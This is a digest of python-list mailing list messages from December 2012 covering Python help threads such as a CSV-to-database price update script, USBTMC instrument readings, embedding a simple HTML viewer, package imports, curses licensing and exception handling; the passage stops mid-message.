(Joseph L. Casale) Date: Thu, 6 Dec 2012 15:32:19 +0000 Subject: Dict comprehension help In-Reply-To: References: <92097A6A775D5147B1078E3F15430B92349092E6@prato.activenetwerx.local> <92097A6A775D5147B1078E3F15430B92349094F3@prato.activenetwerx.local>, Message-ID: >You could put the loop into a helper function, but if you are looping >through the same my_list more than once why not build a lookup table > >my_dict = {d["key"]: d for d in my_list} > >and then find the required dict with > >my_dict[value] I suppose, what I failed to clarify was that for each list of dicts, I may only extract out one (maybe two) dicts, but I have several to do this for. The tidy one-liners make for populating the vars in __init__ nice and clean. Much appreciated guys, thanks! jlc From inq1ltd at inqvista.com Thu Dec 6 10:32:54 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Thu, 06 Dec 2012 10:32:54 -0500 Subject: mini browser with python In-Reply-To: <50bfec3f$0$6944$e4fe514c@news2.news.xs4all.nl> References: <50bfec3f$0$6944$e4fe514c@news2.news.xs4all.nl> Message-ID: <1488775.md9oxUMi7F@mach-114-20> On Thursday, December 06, 2012 01:52:15 AM Hans Mulder wrote: > On 5/12/12 22:44:21, inq1ltd wrote: > > I can connect to and download a web page, > > html code, and save it to a file. If connected > > to the web, I can change the settings on KWrite > > to open the file and navigate the page, > > (just like a browser does). > > > > I want to view the html file without using a browser > > > > or KWrite as I do now. > > > > Customer wants a direct connect to a dedicated > > website. Their clients can be using any > > browser. This gives them a a direct connect to > > a dedicated website for a specific purpose. > > In other words I need a mini, simple browser; > > something I can build that will open, read and > > display a saved html or the connected url site. > > How about: > > import os.path, webbrowser > > webbrowser.open("file://" + os.path.abspath(your_file)) > > > I would appreciate some direction. > > You'd get more useful answers if you'd give some > more context. For example: > > * Which platform? > * Which version of Python? > * Which GUI (if any)? > * What capabilities do you need? CSS? Javascript? > * Are there any unusual requirement? > A few responders have ask for this information. Platform can be linux or Windows. Currently: Linux runs Python 2.7 and Windows runs 2.6.3; Windows can be XP and above. My program is built with Python and Tkinter I convert the program using py2exe. There are no special requirements. The client will design around my capabilities. The html page will simply be a display of data. Right now I need some way to display 15 to 20 lines of html in its own window or as part of my screen. I am trying to avoid using any commercial browser. GTK has a webkit, and QT has a webkit and Suse, wich I use has libwebkitgtk-1_0-0. All at some time I will have to look at all. I thought If someone had done this already The learning curve could be lowered. Thanks for the interest, jimonlinux > > Hope this helps, > > -- HansM -------------- next part -------------- An HTML attachment was scrubbed... URL: From jeandubois314 at gmail.com Thu Dec 6 10:44:36 2012 From: jeandubois314 at gmail.com (Jean Dubois) Date: Thu, 6 Dec 2012 07:44:36 -0800 (PST) Subject: problem with usbtmc-communication References: <05927d41-f73f-4fef-9a6d-4133e5c7d86a@n8g2000vbb.googlegroups.com> Message-ID: <5a264830-225a-4321-add4-edda89bfa82c@u19g2000yqj.googlegroups.com> On 4 dec, 20:55, Terry Reedy wrote: > On 12/4/2012 7:14 AM, Jean Dubois wrote: > > > > > > > > > > > The following test program which tries to communicate with a Keithley > > 2200 programmable power supply using usbtmc in Python does not work as > > expected. I have connected a 10 ohm resistor to its terminals and I > > apply 0.025A, 0.050A, 0.075A en 0.1A, > > I then measure the current and the voltage en write them in a file > > De data produced looks like this: > > 0.00544643 0.254061; first current value is wrong, voltage value is > > correct > > 0.0250807 0.509289; second current value is wrong, but it corresponds > > to the first, second voltage is correct > > 0.0501099 0.763945; 3rd current value is wrong, but it corresponds to > > the second, 3rd voltage is right > > 0.075099 1.01792; 4th current value is wrong, ?it corresponds to the > > 3rd, 4th voltage is right > > ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?4th correct current value is missing > > > But is should be (numerical inaccuracy taking into account) ?(these data > > were produced by a similar octave-program): > > 0.0248947 0.254047 > > 0.0499105 0.509258 > > 0.0749044 0.764001 > > 0.0998926 1.01828 > > > Here is the python-program: > > #!/usr/bin/python > > import time > > import os > > import sys > > measurementcurr='' > > measurementvolt='' > > timesleepdefault=1 > > filename ='mydata.txt' > > usbkeith = open('/dev/usbtmc1','r+') > > usbkeith.flush() > > usbkeith.write("*IDN?\n") > > #strip blank line: > > identification=usbkeith.readline().strip() > > print 'Found device: ',identification > > usbkeith.write("SYST:REM" + "\n") > > usbkeith.write(":SENS:VOLT:PROT 1.5\n") > > keithdata = open(filename,'w') > > #start first measurement > > usbkeith.write(":SOUR:CURR 0.025\n") > > usbkeith.write(":OUTP:STAT ON\n") > > time.sleep(timesleepdefault) > > usbkeith.write(":MEAS:CURR?\n") > > time.sleep(timesleepdefault) > > measurementcurr=usbkeith.readline() > > print 'Measured current 1: ',measurementcurr > > usbkeith.write("MEAS:VOLT?\n") > > time.sleep(timesleepdefault) > > measurementvolt=usbkeith.readline() > > print 'Measured voltage 1: ',measurementvolt > > keithdata.write(measurementcurr.strip()+' '+measurementvolt) > > [3 near repetitions snipped] > > This sort of repetitious code without even line breaks is painful for me > to read. Python has looping statements for a reason. Replace all four > nearly identical blocks with the following. (If you are not familiar > with built-in enumerate, you should be. Read its entry in the library > manual.) > > for number, current_in in enumerate( > ? ? ?('0.025', '0.050'. '0.075', '0.100'), 1) > ? ?usbkeith.write(":SOUR:CURR %s\n" % current_in) > ? ?... > ? ?print 'Measured current %d: ' % number, measurementcurr > ? ?... > ? ?print 'Measured voltage %d: ' % number, measurementvolt > > Now you can make changes in only one place and easily add more test values. > > > print "Goodbye, data logged in file:" > > print filename > > usbkeith.close() > > keithdata.close() > > > can anyone here what is going wrong and how to get it right? > > No, but if both the python and octave programs used loops, it would be > easier to see if both are doing the same things before, within, and > after the loop. > > -- > Terry Jan Reedy I followed your suggestion an now the code looks like this: #!/usr/bin/python import time import os import sys measurementcurr='' measurementvolt='' timesleepdefault=2 filename ='mydata.txt' usbkeith = open('/dev/usbtmc1','r+') usbkeith.flush() usbkeith.write("*IDN?\n") #strip blank line: identification=usbkeith.readline().strip() print 'Found device: ',identification usbkeith.write("SYST:REM" + "\n") usbkeith.write(":SENS:VOLT:PROT 1.5\n") keithdata = open(filename,'w') usbkeith.write(":OUTP:STAT ON\n") for number, current_in in enumerate(('0.025', '0.050', '0.075', '0.100'), 1): usbkeith.write(":SOUR:CURR %s\n" % current_in) time.sleep(timesleepdefault) usbkeith.write(":MEAS:CURR?\n") measurementcurr=usbkeith.readline() print 'Measured current %d: ' % number, measurementcurr usbkeith.write(":MEAS:VOLT?\n") measurementvolt=usbkeith.readline() print 'Measured voltage %d: ' % number, measurementvolt keithdata.write(measurementcurr.strip()+' '+measurementvolt) usbkeith.write(":OUTP:STAT OFF\n") print "Goodbye, data logged in file:" print filename usbkeith.close() keithdata.close() Still there is a "buffer-problem" as you can see in the output below: 0.00639725 0.0104065; these values are completely wrong 0.0248976 0.262959; these should have been be the first values 0.0500431 0.516602: these should been the second values 0.0749168 0.772616; these are the 3rd values 4th values are missing any idea why this does what it does in Python? jean From tolidtm at gmail.com Thu Dec 6 11:16:29 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 17:16:29 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On Thu, Dec 6, 2012 at 3:22 PM, Anatoli Hristov wrote: > Guys I'm still confusing my script is working better, but not enough. > I did a logfile to see which products are not found anymore in the CSV > and I found some that are present but python says they are not ?? > > Here is the product in the CSV: > MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide > 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; > > Here is what python reports: > e2208hds-b2, 721 not found > e2273hds-b1, 722 not found > e2274hds-b2, 723 not found > e2407hds-b1, 724 not found > > And here is my final code: ( I hope it look better now :) ) > > def Change_price(): # Changes the price in the DB if the price in the > CSV is changed > TotalUpdated = 0 # Counter for total updated > TotalSKUFound = 0 # Total SKU from the DB coresponds to the one in the CSV > TotalSKUinDB = 0 # Total SKU in the DB > for row in PRODUCTSDB: > TotalSKUinDB +=1 > db_sku = row["sku"].lower() > db_price = float(row["price"]) > found = False > try: > for x in pricelist: > try: > csv_price = x[6] > csv_price = csv_price.replace(",",".") > csv_price = float(csv_price) > csv_new_price = csv_price*1.10 > csv_sku = x[4].lower() > csv_stock = int(x[7]) # I used this as normally I > used stock in the condition > match = re.search(db_sku, csv_sku) > if len(db_sku) != 0 and match: > TotalSKUFound +=1 > if csv_new_price < db_price and csv_stock > 0: > print db_sku, csv_price, db_price, csv_new_price > Update_SQL(csv_new_price, db_sku) > TotalUpdated += 1 > found = True > > except IndexError: # I have a lot of index error in > the CSV (empty fields) and the loop gives "index error" I don't care > about them > pass > except ValueError: > pass > except TypeError: > pass > except IndexError: > pass > if not found: WriteLog(db_sku, db_sku,) > TotalNotFound = TotalSKUinDB - TotalSKUFound > print "Total SKU in the DB %s" % TotalSKUinDB > print "Total SKU coresponds to the DB and CSV %s" % TotalSKUFound > print "Total updated: %s" % TotalUpdated > print"Total not found with in the distributor: %s" % TotalNotFound No one have an idea ? Thanks From moonhkt at gmail.com Thu Dec 6 11:49:21 2012 From: moonhkt at gmail.com (moonhkt) Date: Thu, 6 Dec 2012 08:49:21 -0800 (PST) Subject: How to list a file which already created a 2 mins ago Message-ID: Hi All AIX.5.3 Python 2.6.2 File ftp to Machine A, need to rename then send to Machine B. How to list a file which already created a 2 mins ago ? If file aging more than 2 mins. I want to rename file to other file name. moonhkt From matt at woodridgeadvisors.com Thu Dec 6 11:50:59 2012 From: matt at woodridgeadvisors.com (Matt) Date: Thu, 6 Dec 2012 08:50:59 -0800 (PST) Subject: question about importing a package In-Reply-To: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> References: <4e72a337-07a2-4759-9960-3e8dab7f1e5c@googlegroups.com> Message-ID: <116c6e9c-88d1-4f16-9d81-8833b3be519d@googlegroups.com> It works now. Steven and Alex, thanks for your help! I ended up leaving sample.py and foo.py and bar.p the way they were, and in __init__.py putting: from foo import * from bar import * So my mistake was not importing the foo and bar modules into sub_one/__init__.py. I also see how the __all__ array helps me control what gets imported. I can leave it out of __init__.py, and everything gets imported. So my three lessons are: 1) "from X import *" will look for an __all__ list in module X, or in __init__.py if X is a package instead of a module, and import only what is in that list. Module names are different than function names in that list. 2) if __all__ is not defined, "from X import *' will import everything in X's namespace 3) __init__.py acts like just another module, so you have to import the package contents that you want into it before you import the package into your code Thanks again for the help! From breamoreboy at yahoo.co.uk Thu Dec 6 11:52:09 2012 From: breamoreboy at yahoo.co.uk (Mark Lawrence) Date: Thu, 06 Dec 2012 16:52:09 +0000 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On 06/12/2012 16:16, Anatoli Hristov wrote: > > No one have an idea ? > > Thanks > Basically because your code is crap. Others have already suggested refactoring your code to make it easier to follow. Try (diabolical pun very deliberate) following that advice. Failing that find out how much it'll cost to fix and get your cheque book out, perhaps that'll focus your mind. I'll not apologise for being blunt as your follow up is less than two hours after your previous post. -- Cheers. Mark Lawrence. From msirenef at lightbird.net Thu Dec 6 11:58:36 2012 From: msirenef at lightbird.net (Mitya Sirenef) Date: Thu, 06 Dec 2012 11:58:36 -0500 Subject: New tutorials In-Reply-To: <50BB6BAA.2060409@lightbird.net> References: <50BB6BAA.2060409@lightbird.net> Message-ID: <50C0CEBC.7040307@lightbird.net> On 12/02/2012 09:54 AM, Mitya Sirenef wrote: > Hi everyone, I'm making a series of python tutorials and I've just > finished the introductory part: http://lightbird.net/larks/intro.html > > Feedback is appreciated.. - mitya > I've added two more tutorials, Sudoku and Battleship games: http://lightbird.net/larks/sudoku.html http://lightbird.net/larks/battleship.html As with Blocky Blocks, I'm not sure unicode chars in Battleship will work well for everyone on all OSes, I've only tested it on Linux X terminal. -m From tolidtm at gmail.com Thu Dec 6 12:08:05 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 18:08:05 +0100 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: >> No one have an idea ? >> >> Thanks >> > > Basically because your code is crap. Others have already suggested > refactoring your code to make it easier to follow. Thank you Mark for your notes. I changed the name of the variables as was suggested before. I know my code should be crappy, but at least I try as I'm a beginner in a programming at all - this is a good exercise for me. >Try (diabolical pun very > deliberate) following that advice. Failing that find out how much it'll > cost to fix and get your cheque book out, perhaps that'll focus your mind. > I'll not apologise for being blunt as your follow up is less than two hours > after your previous post. It seems the arrogance is in your blood :p Nice shot Anatoli From python at mrabarnett.plus.com Thu Dec 6 12:10:00 2012 From: python at mrabarnett.plus.com (MRAB) Date: Thu, 06 Dec 2012 17:10:00 +0000 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: <50C0D168.2010101@mrabarnett.plus.com> On 2012-12-06 14:22, Anatoli Hristov wrote: > Guys I'm still confusing my script is working better, but not enough. > I did a logfile to see which products are not found anymore in the CSV > and I found some that are present but python says they are not ?? > > Here is the product in the CSV: > MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide > 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; > > Here is what python reports: > e2208hds-b2, 721 not found > e2273hds-b1, 722 not found > e2274hds-b2, 723 not found > e2407hds-b1, 724 not found > > And here is my final code: ( I hope it look better now :) ) > > def Change_price(): # Changes the price in the DB if the price in the CSV is changed > TotalUpdated = 0 # Counter for total updated > TotalSKUFound = 0 # Total SKU from the DB coresponds to the one in the CSV > TotalSKUinDB = 0 # Total SKU in the DB > for row in PRODUCTSDB: > TotalSKUinDB +=1 > db_sku = row["sku"].lower() > db_price = float(row["price"]) > found = False > try: > for x in pricelist: > try: > csv_price = x[6] > csv_price = csv_price.replace(",",".") > csv_price = float(csv_price) > csv_new_price = csv_price*1.10 > csv_sku = x[4].lower() > csv_stock = int(x[7]) # I used this as normally I used stock in the condition > match = re.search(db_sku, csv_sku) This line is equivalent to: match = db_sku in csv_sku This means that it's looking for db_sku anywhere in csv_sku. For example, all of these are true: "72" in "720"; "20" in "720"; "720" in "720"; etc. > if len(db_sku) != 0 and match: > TotalSKUFound +=1 TotalSKUFound is incremented if it finds a match. Can "db_sku in csv_sku" be true multiple times for a given value of db_sku? (See above.) Is it possible that TotalSKUFound is incremented multiple times for some values of csv_sku? > if csv_new_price < db_price and csv_stock > 0: > print db_sku, csv_price, db_price, csv_new_price > Update_SQL(csv_new_price, db_sku) > TotalUpdated += 1 > found = True It sets found to True if it updated. > > except IndexError: # I have a lot of index error in the CSV (empty fields) and the loop gives "index error" I don't care about them > pass > except ValueError: > pass > except TypeError: > pass Even after finding a match (and possibly updating), it continues iterating though pricelist. > except IndexError: There's no need to catch IndexError here because the only places it could be raised are also within the inner try..except. > pass > if not found: WriteLog(db_sku, db_sku,) Calling it 'found' is misleading, because it's True only if it updated. If it found a match but didn't update, 'found' will still be False. > TotalNotFound = TotalSKUinDB - TotalSKUFound > print "Total SKU in the DB %s" % TotalSKUinDB > print "Total SKU coresponds to the DB and CSV %s" % TotalSKUFound > print "Total updated: %s" % TotalUpdated > print"Total not found with in the distributor: %s" % TotalNotFound > Using a loop within a loop like this could be the cause of your problem. It's certainly not the most efficient way of doing it. From jeanmichel at sequans.com Thu Dec 6 12:16:29 2012 From: jeanmichel at sequans.com (Jean-Michel Pichavant) Date: Thu, 6 Dec 2012 18:16:29 +0100 (CET) Subject: New tutorials In-Reply-To: <50C0CEBC.7040307@lightbird.net> Message-ID: <57964315.1923822.1354814189465.JavaMail.root@sequans.com> ----- Original Message ----- > On 12/02/2012 09:54 AM, Mitya Sirenef wrote: > > Hi everyone, I'm making a series of python tutorials and I've just > > finished the introductory part: > > http://lightbird.net/larks/intro.html > > > > Feedback is appreciated.. - mitya > > > > > I've added two more tutorials, Sudoku and Battleship games: > > http://lightbird.net/larks/sudoku.html > > http://lightbird.net/larks/battleship.html > > > As with Blocky Blocks, I'm not sure unicode chars in Battleship will > work well for everyone on all OSes, I've only tested it on Linux > X terminal. -m > > -- > http://mail.python.org/mailman/listinfo/python-list You should summarize the new python concept introduced by each tutorial so people can jump directly to the section they need. I have the feeling this is not really a python tutorial, it's a bunch of mini games that happen to be written in python. Am I right ? If I'm wrong, you should definitely organize your doc by python concepts, linking each concept to any related tutorial. JM -- IMPORTANT NOTICE: The contents of this email and any attachments are confidential and may also be privileged. If you are not the intended recipient, please notify the sender immediately and do not disclose the contents to any other person, use it for any purpose, or store or copy the information in any medium. Thank you. From gordon at panix.com Thu Dec 6 12:19:38 2012 From: gordon at panix.com (John Gordon) Date: Thu, 6 Dec 2012 17:19:38 +0000 (UTC) Subject: mini browser with python References: <50bfec3f$0$6944$e4fe514c@news2.news.xs4all.nl> Message-ID: In inq1ltd writes: > Right now I need some way to display > 15 to 20 lines of html in its own window or > as part of my screen. Could you open a shell window and run a text web browser such as Lynx? -- John Gordon A is for Amy, who fell down the stairs gordon at panix.com B is for Basil, assaulted by bears -- Edward Gorey, "The Gashlycrumb Tinies" From tolidtm at gmail.com Thu Dec 6 12:31:26 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 18:31:26 +0100 Subject: Confused compare function :) In-Reply-To: <50C0D168.2010101@mrabarnett.plus.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50C0D168.2010101@mrabarnett.plus.com> Message-ID: >> Here is the product in the CSV: >> MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide >> 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; This one is still not found and it is in the CSV file - I just don't get it why ! >> if len(db_sku) != 0 and match: >> TotalSKUFound +=1 > TotalSKUFound is incremented if it finds a match. > > Can "db_sku in csv_sku" be true multiple times for a given value of > db_sku? (See above.) Is it possible that TotalSKUFound is incremented > multiple times for some values of csv_sku? Most of the SKU's are not doubled in the CSV, but what I will do is to create new function to compare each SKU so after it founds the SKU in the file it will return right away to the DB loop. >> if csv_new_price < db_price and csv_stock > 0: >> print db_sku, csv_price, db_price, >> csv_new_price >> Update_SQL(csv_new_price, db_sku) >> TotalUpdated += 1 >> found = True > It sets found to True if it updated. >> except IndexError: # I have a lot of index error in the >> CSV (empty fields) and the loop gives "index error" I don't care about them >> pass >> except ValueError: >> pass >> except TypeError: >> pass > > > Even after finding a match (and possibly updating), it continues > iterating though pricelist. Yes it will change after I create the new func.as I assume. >> except IndexError: > > if not found: WriteLog(db_sku, db_sku,) > > > Calling it 'found' is misleading, because it's True only if it updated. > If it found a match but didn't update, 'found' will still be False. > Using a loop within a loop like this could be the cause of your > problem. It's certainly not the most efficient way of doing it. I will keep you posted THANK YOU From python at mrabarnett.plus.com Thu Dec 6 12:52:46 2012 From: python at mrabarnett.plus.com (MRAB) Date: Thu, 06 Dec 2012 17:52:46 +0000 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50C0D168.2010101@mrabarnett.plus.com> Message-ID: <50C0DB6E.60903@mrabarnett.plus.com> On 2012-12-06 17:31, Anatoli Hristov wrote: >>> Here is the product in the CSV: >>> MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide >>> 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; > > This one is still not found and it is in the CSV file - I just don't > get it why ! > [snip] It's not saying that it's not found, it's saying that it wasn't updated because: csv_new_price < db_price and csv_stock > 0 was False. Is the new price higher or the same? From inq1ltd at inqvista.com Thu Dec 6 13:15:21 2012 From: inq1ltd at inqvista.com (inq1ltd) Date: Thu, 06 Dec 2012 13:15:21 -0500 Subject: mini browser with python In-Reply-To: References: Message-ID: <2752523.MlzgZ4bAjj@mach-114-20> On Thursday, December 06, 2012 05:19:38 PM John Gordon wrote: > In inq1ltd writes: > > Right now I need some way to display > > 15 to 20 lines of html in its own window or > > as part of my screen. > > Could you open a shell window and run a text web browser such as Lynx? That is a possibility but then every machine will have to have Lynx. That is not quite what the customer wants. Also, I can download the site to a file, convert the data to text, then display it in a Text widget. I appreciate the help, Regards, jimonlinux -------------- next part -------------- An HTML attachment was scrubbed... URL: From colmbrazel at gmail.com Thu Dec 6 13:16:21 2012 From: colmbrazel at gmail.com (Colm Brazel) Date: Thu, 6 Dec 2012 10:16:21 -0800 (PST) Subject: FitsStubImagePlugin Message-ID: <997e87e3-38cf-48e4-9777-bb011ef4a936@googlegroups.com> Hi Anybody got links to, eg how to use, FitsStubImagePlugin module part of PIL? thanks Colm From tolidtm at gmail.com Thu Dec 6 13:25:29 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 19:25:29 +0100 Subject: Confused compare function :) In-Reply-To: <50C0DB6E.60903@mrabarnett.plus.com> References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> <50C0D168.2010101@mrabarnett.plus.com> <50C0DB6E.60903@mrabarnett.plus.com> Message-ID: >>>> >>>> Here is the product in the CSV: >>>> MONIIE2407HDS-B1;MON;II;E2407HDS-B1;E2407HDS-B1;IIYAMA LCD 24" Wide >>>> 1920x1080TN Speakers 2ms Black DVI HDMI;133;20;RECTD0.41;0,41;;;;;;;;; > [snip] > It's not saying that it's not found, it's saying that it wasn't updated > because: You are right, the price at the distributor is higher than the one I have :) I will update the price what ever the price is I will not compare it anymore. Thanks From jabba.laci at gmail.com Thu Dec 6 13:30:40 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Thu, 6 Dec 2012 19:30:40 +0100 Subject: PyCharm messed up my PyDev Message-ID: Hi, I have a strange problem. I've used PyDev for a long time and a few days ago I wanted to try PyCharm. When I wanted to create a new project in PyCharm, it asked me to select the interpreter. There was a possibility to upgrade packages so I selected all and pressed the upgrade button. For the upgrade, it asked my admin password (I'm under Linux). Then today I wanted to go back to PyDev but it says "Python not configured" for _all_ my projects :( Under Preferences I can select the interpreter (Auto Config) but when I click on OK, the selection is not held. When I go back to the interpreter selection window, it's empty again. Clicking on OK it says "Restoring PYTHONPATH". I think it's because of PyCharm. I did the same thing on my laptop and I have the same problem. Has anyone met this issue? How to get back a working PyDev? I also tried Aptana Studio 3 after Eclipse, but the same thing happens. Did PyCharm change some permissions that PyDev doesn't like? Thanks, Laszlo From benjaminschnitzler at googlemail.com Thu Dec 6 13:34:04 2012 From: benjaminschnitzler at googlemail.com (benjamin schnitzler) Date: Thu, 6 Dec 2012 19:34:04 +0100 Subject: The curses module and licensing In-Reply-To: <20121206150210.GA5311@mario.dsl> References: <20121206150210.GA5311@mario.dsl> Message-ID: I think I have accidentially not sent this to the python list: On 02:17 Fri 07 Dec , Chris Angelico wrote: > Hi! > > Here's some info on ncurses: > > http://invisible-island.net/ncurses/ncurses.faq.html > > I would generally assume that it's safe to use any Python standard > library module without worrying about what license its underlying > library/ies are distributed under - because I trust the Python core > developers to ensure that they're creating a product that's not bound > by unexpected license terms. But you'll probably get an on-list > response with more detail. > > Chris Angelico Thanks for your answer. I guess you're right. It's just, that I never really worked for a project where I got into license issues. (At least I think so.) And I am not really used to it. The FAQ states: "Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, distribute with modifications, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE ABOVE COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Except as contained in this notice, the name(s) of the above copyright holders shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization." "...to deal in the Software without restriction..." "...distribute, distribute with modifications, sublicense..." Sounds good. Ok, but I have to include this into all "copies or substantial portions of the Software" . Ok, thats a bit vague. And if I include this notice into my files: It sounds a bit, as if this would be then a copyright for them. Substantial portions are, I guess, the libraries themselves. Which are other substantial portions? Those files which extend the libraries maybe? I looked into the files of my /usr/lib/python2.7/curses directory. None of them had this text portion from above included. On the other hand the FAQ also states that the Free Software Foundation, who got hold of the copyright, had promised to use the above distribution terms only for 5 years, which was in 1998, so it might not be relevant at all. Well ok. I guess I can just leave my files, as they are, since they are no real extensions of the library. But I am not completely sure. If anyone has a better idea: Just let me know it. Benjamin On Thu, Dec 6, 2012 at 4:02 PM, Benjamin Schnitzler < benjaminschnitzler at googlemail.com> wrote: > Hello everyone, > > I am new to this list. > I have a question concerning the curses module (I am using > python2.7). Which license does this module have? Is it bases > completely on the curses library? In the documentation the > following is stated: > > "The curses module provides an interface to the curses library, > the de-facto standard for portable advanced terminal handling." > > But also: > > "Changed in version 1.6: Added support for the ncurses library > and converted to a package." > > Is it maybe built on both libraries? However, the crucial point > is, that I want to build a curses terminal interface for some GPL > software project. Can You give me a hint, if that is possible > (yes, I know, You are no lawyers) and if and where I have to > include licensing informations regarding the license of > curses/ncurses ? > > Thank You > > Benjamin > -------------- next part -------------- An HTML attachment was scrubbed... URL: From tolidtm at gmail.com Thu Dec 6 13:55:09 2012 From: tolidtm at gmail.com (Anatoli Hristov) Date: Thu, 6 Dec 2012 19:55:09 +0100 Subject: Confused compare function :) In-Reply-To: References: <50bfe9d8$0$29994$c3e8da3$5496439d@news.astraweb.com> Message-ID: > gmane.comp.python.general: > >> But basically, the code seems to run a pair of nested for-loops: >> >> for SKU in database: >> for SKU in csv file: >> if the two SKUs match: >> compare their prices and update the database >> > OUCH... > > I'm presuming the CSV is restarted each time the database record > changes... > > That would seem better reformulated as: > > for (SKU, price) in CSV: > DB.execute("update SKUtable set price = %s where SKU = %s", > (price, SKU) ) > -- I don't know if I get it right, but Nope, each loop I'm getting: for x in CSV: MONIIE2409HDS-B1;MON;II;E2409HDS-B1;E2409HDS-B1;IIYAMA LCD 24" Wide 1920x1080 TN Panel Speakers 2MS Black;130;9;RECTD0.41;0,41;;;;;;;;; So x[4] is my SKU and x[5] is price and so on. Each loop looks like this. From jabba.laci at gmail.com Thu Dec 6 14:09:53 2012 From: jabba.laci at gmail.com (Jabba Laci) Date: Thu, 6 Dec 2012 20:09:53 +0100 Subject: PyCharm messed up my PyDev In-Reply-To: References: Message-ID: Dear All, I managed to solve the problem. Something got messed up in the .metadata directory. After renaming it, Aptana Studio re-created it and I could successfully specify the Python interpreter. In PyCharm I specified the same workspace to use, maybe that was the problem. Laszlo On Thu, Dec 6, 2012 at 7:30 PM, Jabba Laci wrote: > Hi, > > I have a strange problem. I've used PyDev for a long time and a few > days ago I wanted to try PyCharm. When I wanted to create a new > project in PyCharm, it asked me to select the interpreter. There was a > possibility to upgrade packages so I selected all and pressed the > upgrade button. For the upgrade, it asked my admin password (I'm under > Linux). > Then today I wanted to go back to PyDev but it says "Python not > configured" for _all_ my projects :( Under Preferences I can select > the interpreter (Auto Config) but when I click on OK, the selection is > not held. When I go back to the interpreter selection window, it's > empty again. Clicking on OK it says "Restoring PYTHONPATH". > > I think it's because of PyCharm. I did the same thing on my laptop and > I have the same problem. Has anyone met this issue? How to get back a > working PyDev? > > I also tried Aptana Studio 3 after Eclipse, but the same thing > happens. Did PyCharm change some permissions that PyDev doesn't like? > > Thanks, > > Laszlo From sg552 at hotmail.co.uk Thu Dec 6 14:24:04 2012 From: sg552 at hotmail.co.uk (Rotwang) Date: Thu, 06 Dec 2012 19:24:04 +0000 Subject: Confused compare function :) In-Reply-To: References: <50c01fe2$0$21853$c3e8da3$76491128@news.astraweb.com> Message-ID: On 06/12/2012 08:49, Bruno Dupuis wrote: > On Thu, Dec 06, 2012 at 04:32:34AM +0000, Steven D'Aprano wrote: >> On Thu, 06 Dec 2012 03:22:53 +0000, Rotwang wrote: >> >>> On 06/12/2012 00:19, Bruno Dupuis wrote: >>>> [...] >>>> >>>> Another advice: never ever >>>> >>>> except XXXError: >>>> pass >>>> >>>> at least log, or count, or warn, or anything, but don't pass. >>> >>> Really? I've used that kind of thing several times in my code. For >>> example, there's a point where I have a list of strings and I want to >>> create a list of those ints that are represented in string form in my >>> list, so I do this: >>> >>> listofints = [] >>> for k in listofstrings: >>> try: >>> listofints.append(int(k)) >>> except ValueError: >>> pass >>> >>> Another example: I have a dialog box with an entry field where the user >>> can specify a colour by entering a string, and a preview box showing the >>> colour. I want the preview to automatically update when the user has >>> finished entering a valid colour string, so whenever the entry field is >>> modified I call this: >>> >>> def preview(*args): >>> try: >>> previewbox.config(bg = str(entryfield.get())) >>> except tk.TclError: >>> pass >>> >>> Is there a problem with either of the above? If so, what should I do >>> instead? >> >> They're fine. >> >> Never, ever say that people should never, ever do something. >> >> >> *cough* >> > > Well, dependening on the context (who provides listofstrings?) I would > log or count errors on the first one... or not. The actual reason for the first example is that I have a text widget with a bunch of tags (which are identified by strings), and I want to add a new tag whose name doesn't coincide with any of the existing tag names. I achieve this by setting my listofstrings equal to the list of existing tag names, and setting the new tag name as str(max(listofints) + 1) if listofints else '0' I realise that there are a bunch of other ways I could have done this. But I haven't a clue how I could rewrite the second example without using a try statement (other than by writing a function that would recognise when a string defines a 